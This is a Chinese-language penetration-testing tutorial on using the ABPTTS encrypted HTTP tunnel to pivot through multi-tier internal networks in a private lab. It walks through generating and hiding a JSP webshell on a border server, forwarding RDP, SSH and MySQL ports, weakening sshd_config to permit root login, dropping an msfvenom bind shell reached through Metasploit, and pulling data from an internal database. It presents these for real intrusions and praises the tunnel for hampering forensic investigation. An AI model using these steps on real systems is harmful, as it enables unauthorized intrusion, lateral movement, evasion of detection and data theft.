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http加密代理深度应用 [ abptts ]

本节重点快速预览:

 关于 abptts

 通过 http加密隧道转发至目标内网下指定机器上的单个 tcp端口

 通过 http加密隧道同时转发至目标内网下指定的多台机器上的多个 tcp端口

 把 ssh隧道包裹在 http加密隧道中传递对,目标二级内网进行穿透

 让目标二级内网下的 web server作为 http加密隧道的中继节点来访问三级内网

 通过双重 http加密隧道 + 双重 ssh隧道同时访问目标两级不同的 vlan

 通过 http加密隧道访问目标一级内网下的 bind型 meterpreter

 将 ssh隧道封装在 http加密隧道中来脱取目标二级内网下的数据

基础环境准备:

Tomcat7 假设为目标边界的一台 tomcat服务器,防火墙已开启,且只允许 8080端口流入,公网 ip: 192.168.3.63 内网 ip: 192.168.4.31

WebServer-IIS7 假设为目标一级内网下的一台 IIS服务器,内网 ip: 192.168.4.2

tomcat8 假设为目标二级内网下的一台 tomcat服务器,也是 http加密隧道中继机器,内网 ip: 192.168.4.32 192.168.5.32

OldLnmp 假设为目标二级内网下的一台 mysql服务器,内网 ip: 192.168.5.14

Ubuntu16-LAMP 假设为目标三级内网下一台普通的 linux服务器,内网 ip: 192.168.5.102 192.168.6.102

Win7-Tools 入侵者本地内网中的一台 windows客户机,本地内网 ip: 192.168.122.138

kaliMaster 入侵者本地内网中的一台 linux机器,本地内网: 192.168.122.131

关于上述环境的大致拓扑,如下 :



1. 关于 abptts

一款相对不错的 http加密隧道工具,基于 py2.7, https://github.com/nccgroup/ABPTTS

abpttsfactory.py 主要用来生成 webshell,暂时只支持 jsp,aspx,php[可能需要 socket模块支持]脚本

abpttsclient.py http加密隧道的服务端

abptts.* http加密隧道的客户端,即 webshell

2. 使用 abptts前的一些必要环境准备和初始化过程,先装好依赖库,此处暂以 kali平台为例进行演示,注意,最新版的 kali中默认所需的所有依赖库都已经装

好了,无需再装,如果是在 windows平台下使用 abptts,则需要先安装好 VCForPython27.msi,不然后面在编译 pycrypto库时可能会出问题

# pip2 install httplib2 http数据处理库

# pip2 install pycrypto 加密库

3. 首先,我们需要先生成 webshell[即 http加密隧道的服务端]和其对应的配置文件,实战中注意把 webshell里的注释和敏感字符串都剔干净,不然容易被人

看出来

# cd /home/ABPTTS/



# python abpttsfactory.py -o ./shellbox

4. 接着,开始实际使用 abptts,过程其实非常简单,只需要把 abptts.jsp [webshell,隧道服务端]事先传到指定的目标站点目录下[尽可能隐藏的深一点],然

后再回到本地用它提供的客户端脚本来连接 webshell,即可成功建立一条 http加密隧道,之后,我们就可以利用此隧道进行一系列的 tcp端口转发动作,比

如,我们可以通过和目标边界的 Tomcat7机器和本地的 kaliMaster机器建立一条 http加密隧道,并以此隧道来访问目标一级内网下的 WebServer-IIS7的

rdp和 tomcat8机器的 ssh,具体如下

按照上面的说法,先把对应的 abptts.jsp[服务端]传到 Tomcat7机器的指定站点目录下,然后再尝试访问该 url,如果看到返回一堆类似 hash的字符串,则表示

工作正常

之后再回到本地的 kaliMaster 机器上执行它提供的客户端脚本进行连接,其实这就是客户端与服务端建立隧道的过程,注意,此处仅为利用 http隧道转发指定

的单个 tcp端口

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/127.0.0.1:22



5. 在上面,我们简单演示了如何通过http加密隧道转发目标本机的单个tcp端口,下面我们就来看看,如何通过隧道同时转发目标同级内网下的多台机器上的多

个 tcp端口

依然是在上传 abptts.jsp脚本之后,回到本地 kaliMaster机器上建立起隧道,此时我们不再仅仅绑定 Tomcat7的本地端口,而是绑定同级内网下多台机器上的

多个 tcp端口

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/127.0.0.1:22 -f

127.0.0.1:1389/192.168.4.2:3389 -f 127.0.0.1:5221/192.168.4.32:22

上面的端口绑定成功后,即可在本地的 kaliMaster 机器上连接目标一级内网下的 WebServer-IIS7 机器上的 rdp[务必注意,此处如果是用域用户登录,最好在

win平台下运行 abptts,不然会报 ssp类似的错误],如下

# rdesktop -f -a 16 127.0.0.1:1389 -r sound:off -g 1024*768



在本地的 kaliMaster机器上继续连接目标二级内网下的 tomcat8机器上的 ssh,如下

# ssh -p 5221 root@127.0.0.1



6. 上面我们详细演示了如何利用 http隧道转发目标内网的单个或多个 tcp端口,虽然那些似乎已经能适应一些我们的日常需求了,但如果每次都这样一个个端

口的转,岂不是要累死,为此,我们就可以尝试把 ssh隧道包裹在 http加密隧道内进行传递,再说白点儿,就是利用 ssh的动态端口转发,把目标的整个一级内

网都通过 http加密隧道代出来,既然是用 ssh隧道,也就说明,目标的一级内网下必须要有一台 linux机器来做支撑,因为要用到 ssh,比如,我们可以先让本

地的 kaliMaster机器和目标边界的 Tomcat7机器建立好 http加密隧道,之后再通过此加密隧道和目标边界 Tomcat7机器继续建立一层 ssh隧道[即 ssh

动态端口转发,socks代理],这样一来,目标的整个一级内网就被顺利代出来了,具体操作过程如下

同上,依然是先把 abptts.jsp [隧道服务端]传到目标边界的 Tomcat7机器的指定站点目录下,而后在本地的 kaliMaster机器上执行客户端进行连接,建立起

http加密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:5221/127.0.0.1:22

上面的 http 加密隧道建好之后,继续在边界的 Tomcat7 机器上执行,主要开启 ssh的动态端口转发功能,注意,sshd_config为重要系统配置文件,贸然改动可

能会触发目标监控报警

# vi /etc/ssh/sshd_config

AllowTcpForwarding yes

GatewayPorts yes

TCPKeepAlive yes 保持心跳,防止 ssh断开

PasswordAuthentication yes 启用密码验证

PermitRootLogin yes 让 root可远程连接

# /etc/init.d/sshd restart 重启 ssh

最后,回到本地 kaliMaster机器上执行 ssh动态转发,意思就是先通过 http加密隧道连到目标内网下的 Tomcat7机器上,再通过此机器开启 ssh动态转发连到

目标的下一级内网

# ssh -p 5221 -qTfnN -D 0.0.0.0:1081 root@127.0.0.1

# netstat -tulnp | grep "1081"

# egrep -v "^$|#" /etc/proxychains.conf

random_chain

proxy_dns

tcp_read_time_out 15000

tcp_connect_time_out 8000

[ProxyList]

socks5 127.0.0.1 1081



此时,我们直接在本地的 kaliMaster机器上就可以利用 proxychains连到目标的二级内网下 tomcat8机器的 ssh

# proxychains ssh -p 22 root@192.168.4.32

再来尝试连下目标一级内网下的 WebServer-IIS7机器的 rdp,如下

# proxychains rdesktop -f -a 16 192.168.4.2:3389 -r sound:off -g 1024*768

7. 通过上面这些方式我们虽然已经跨到了目标内网,但这也仅仅只还在一级内网下徘徊,而我们现在希望能继续跨到目标的二级内网下,这也就需要用到abptts

的 http加密隧道中继,之所以叫它中继,只是感觉这样说会更好理解些,其实说白点儿,就是利用多重 http加密隧道嵌套封装,想使用 abptts中继到达目标

的更深层内网，有个非常重要的前提,就是在当前能访问到的目标内网下必须要有一台 web服务器来做支撑,因为这中间涉及到要上传自己的 webshell[隧道

服务端],必须要有对应的脚本环境来解析,比如,我们现在就想利用 abptts通过目标边界的 Tomcat7机器直接去连接目标二级内网下的 OldLnmp机器的 ssh,

具体过程如下

首先,依然是先上传abptts.jsp[隧道服务端]到目标边界Tomcat7机器的指定站点目录下,并在本地kaliMaster机器执行客户端进行连接,建立好第一层http

加密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:8081/192.168.4.32:8080

接着,再把 abptts.jsp传到目标二级内网下的 tomcat8机器的指定站点目录下,然后再在本地的 kaliMaster机器执行客户端进行连接,建立好第二层 http加



密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://127.0.0.1:8081/abptts.jsp -f 127.0.0.1:1389/192.168.5.14:22

最后,直接在本地的 kaliMaster机器去连接本地的 1389端口即可成功连到目标二级内网下的 Oldlnmp机器的 22端口上,实际效果如下

# ssh -p 1389 root@127.0.0.1



8. 利用双重ssh隧道+双重http加密隧道交替封装的方式,灵活穿梭于目标一二级内网之间,实现方式比较简单,比如,我们现在可以通过在目标边界的Tomcat7

机器和目标二级内网下的 Tomcat8 机器之间建立双重 ssh 隧道+http 加密隧道,灵活访问目标一级内网下 WebServer-IIS7 机器的 rdp 和二级内网下

Ubuntu16-LAMP机器的 ssh,隧道的具体创建过程,如下

首先,还是先把 abptts.jsp[隧道服务端]传到目标边界 Tomcat7机器的指定站点目录下,并在本地 kaliMaster 机器执行客户端进行连接,建立好第一层 http

加密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/192.168.4.32:22

之后,我们就开始依托目标二级内网下的 Tomcat8机器开始封装第一层 ssh隧道,注意,这一层隧道是通向 4.*网段的,用于 ssh动态转发的系统用户最好用 root,

包括上面也都是

# ssh -p 1222 -qTfnN -D 0.0.0.0:1081 root@127.0.0.1

# netstat -tulnp | grep 1081

# egrep -v "^$|#" /etc/proxychains.conf

random_chain

proxy_dns

tcp_read_time_out 15000

tcp_connect_time_out 8000

[ProxyList]

socks5 127.0.0.1 1081

接着,在本地的 kaliMaster机器建立第二层 http 加密隧道,此处务必要理解清楚,当挂上 proxychains以后就相当于是在用目标二级内网下的 Tomcat8 机器

帮我们访问

# proxychains python abpttsclient.py -c dp/config.txt -u http://127.0.0.1:8080/abptts.jsp -f 127.0.0.1:1223/192.168.5.32:22



然后, 在本地的 kaliMaster机器利用上面转到本地的 1223端口继续建立起第二层 ssh隧道,这一层隧道则是通向 5.* 网段的

# ssh -p 1223 -qTfnN -D 0.0.0.0:1082 root@127.0.0.1

最后,依然是在本地的 kaliMaster机器上尝试同时访问目标的 4.*和 5.*网段

# proxychains ssh root@192.168.5.102 连接目标二级内网下的 Ubuntu-LAMP机器的 ssh

# proxychains rdesktop -f -a 16 192.168.4.2:3389 -r sound:off -g 1024*768 连接目标一级内网下的 WebServer-IIS7 机器的 rdp

9. 通过 http加密隧道访问内网指定机器上的 bind型 shell,比如,我们现在想通过目标边界的 Tomcat7机器来访问二级内网下的 Tomcat8机器上的 bind型

bash

先在 kaliMaster机器上准备好对应的 payload

# msfvenom -p linux/x64/shell_bind_tcp LPORT=443 -f elf -o shell



然后把它丢到目标二级内网下的 Tomcat8机器去上执行

# chmod +x shell

# ./shell &

# netstat -tulnp | grep 443

接着,再次回到本地的 kaliMaster机器上建立起 http加密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:4443/192.168.4.32:443

而后,打开 msf直接 bind到本地的 4443端口上即可成功连接目标二级内网下的 Tomcat8机器的 shell端口上,实际效果如下

msf > use exploit/multi/handler

msf > set payload linux/x64/shell_bind_tcp

msf > set rhost 127.0.0.1

msf > set lport 4443



10. 通过 http加密隧道尝试脱取目标二级内网下的数据,比如,通过在本地的 kaliMaster机器上和目标边界的 Tomcat7机器上建立一层 http加密隧道,然

后再通过此隧道在目标二级内网下的 Tomcat8机器上建立 ssh隧道来访问同级内网下的 Oldlnmp机器的 mysql,过程比较简单,如下

依照上面的思路,先在本地的 kaliMaster机器上建立好第一层 http加密隧道

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/192.168.4.32:22

而后,利用上面的 http加密隧道在目标二级内网下的 Tomcat8机器上再建立一层 ssh隧道,这样我们就可以通过 socks代理访问整个目标二级内网下的机器了

# ssh -p 1222 -qTfnN -D 0.0.0.0:1081 root@127.0.0.1

# netstat -tulnp | grep 1081

# egrep -v "^$|#" /etc/proxychains.conf

random_chain

proxy_dns

tcp_read_time_out 15000

tcp_connect_time_out 8000

[ProxyList]

socks5 127.0.0.1 1081

如下,直接在本地的 kaliMaster机器上访问目标二级内网下的 Oldlnmp机器的 mysql

# proxychains mysql -uroot -p -h 192.168.5.14 -P 3306



11,加密 nmap端口扫描

12,加密 hydra服务端口内网爆破

简单小结:

优势在于隧道加密,尽可能加大对方的取证难度,即使在没有 vps 的情况下,我们也依然能轻松实现本地内网到目标内网的双内网通信,相对比较轻量,只需要

一个 web后端脚本,即可灵活创建隧道,相对于其它的工具,webshell 的隐蔽性更强,也更利用于我们控制,且暂时不用考虑免杀等一系列的其它问题,对目标系

统除了必要的脚本解析环境,几乎不再需要任何的依赖,另外,隧道的建立方式也非常简单,极易上手,关键还是在于,对整个隧道的转发流程思路在大脑中要时刻

思路保持清晰,只要别被这些搞迷糊了,这些工具对你来讲,基本都是看一眼就能马上上手,有些可能只是表面上看起来比较复杂,但根本经不起仔细琢磨理解,其

实这些都比较简单,毕竟,我们都只是个使用者,而并不需要让你去具体实现,不管外壳怎么变,其底层始终是万变不离其宗的,大家尽可能多在实践中理解吧,如

果真的有兴趣,不妨直接去深入研究下代码,相信会学到的更多,对了,关于脚本自身的各个选项的用途说明,大家-h一下就看到了,都非常简单,这里也就不再多

做说明了,祝,好运 :)
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